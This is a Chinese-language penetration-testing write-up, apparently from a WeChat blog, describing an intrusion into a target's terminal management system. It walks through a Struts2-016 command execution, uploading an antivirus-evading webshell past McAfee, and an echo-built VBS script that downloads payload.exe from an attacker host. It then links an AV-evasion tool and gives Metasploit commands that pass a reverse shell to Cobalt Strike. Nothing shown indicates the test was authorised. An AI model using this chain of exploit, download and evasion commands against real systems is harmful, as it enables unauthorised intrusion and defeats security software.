前期目标收集
通过fofa进行了目标资产收集,使用title=”***” 语句发现目标站点存在某终端管理系统。
目标站点地址
打开网站页面显示为****终端管理系统。
看到网站路径,猜测该网站使用Struts2框架进行编写,因此可以尝试是否存在Strurs2命令执行漏洞,通过使用Strurs2漏洞检测工具对该网站进行检测,确认存在Struts2-016命令执行漏洞。
查看当前权限,为system权限,为Windows系统最高权限,因此可尝试直接上传shell等方式进行进一步提权。
随后使用工具自带的上传功能进行shell上传,但工具提示上传成功,而shell路径访问为404页面。
因此猜测存在杀毒软件,将木马杀掉了,随后通过tasklist命令查看系统运行中的进程,存在以下进程列表。
使用工具将进程进行筛选,看是否存在杀毒软件进程。
可以看到系统进程里面存在迈克菲杀毒软件进程,因此我们需要对上传的shell进行免杀,达到获取shell权限的效果。
通过更换shell内容,成功上传至网站根目录,还好目标站点杀毒软件版本不高,因此找了个免杀马上传后便获得了Shell。
ok,接下来就是要获取到一个交互式的shell权限,这里我打算采用cobalt strike与msf进行结合获取到服务器的shell。
接下来有两个问题,一是我要怎么将我的msf的payload下载到服务器上,二是我的payload也要进行免杀。现在先解决payload下载问题,Windows内置了很多种命令行下载文件的方法,例如bitsadmin,powershell,vbs,certutil等命令都可以进行文件下载,但以上命令只有certutil与vbs支持Windows server 2003以上版本,其余两个只适用于windows 7以上版本,通过systeminfo查看了目标服务器的系统版本,为Windows Server 2003系统,因此采用vbs方式将木马下载到目标服务器。
echo Set Post = CreateObject("Msxml2.XMLHTTP") 绝对路径download.vbs
echo Set Shell = CreateObject("Wscript.Shell") 绝对路径download.vbs
echo Post.Open "GET","http://IP:port/payload.exe",0 绝对路径download.vbs
echo Post.Send() 绝对路径download.vbs
echo Set aGet = CreateObject("ADODB.Stream") 绝对路径download.vbs
echo aGet.Mode = 3 绝对路径download.vbs
echo aGet.Type = 1 绝对路径download.vbs
echo aGet.Open() 绝对路径download.vbs
echo aGet.Write(Post.responseBody) 绝对路径download.vbs
echo aGet.SaveToFile "绝对路径payload.exe",2 绝对路径download.vbs
在实站场景中,需要将以上脚本的”绝对路径download.vbs”改为目标网站的真实路径,否则可能会出现无法访问的情况。通过逐条执行以上代码,将下载语句写入到dowdload.vbs文件中,随后采用start 绝对路径download.vbs 命令执行该脚本,即可将payload.exe下载到指定路径。
木马免杀
使用该工具生成免杀payload
https://github.com/1y0n/AV_Evasion_Tool
输入msf的IP与端口,点击生成即可生成免杀payload。
将payload下载到目标网站后,使用start payload.exe即可获取到反弹shell。因为获取到的是msf的shell,现在需要将shell转移到cs服务器上,使用以下命令
开启cs
在msf执行以下命令
use exploit/windows/local/payload_inject
set PAYLOAD windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.5.173 //cs的IP
set LPORT 50050 //cs监听器的端口
set SESSION 1
exploit
cs成功接收到shell,接下来就可以对服务器进行内网的横向渗透了,下篇文章会更新如何拿下域控服务器。
本文始发于微信公众号(V安全资讯):针对某目标的一次渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论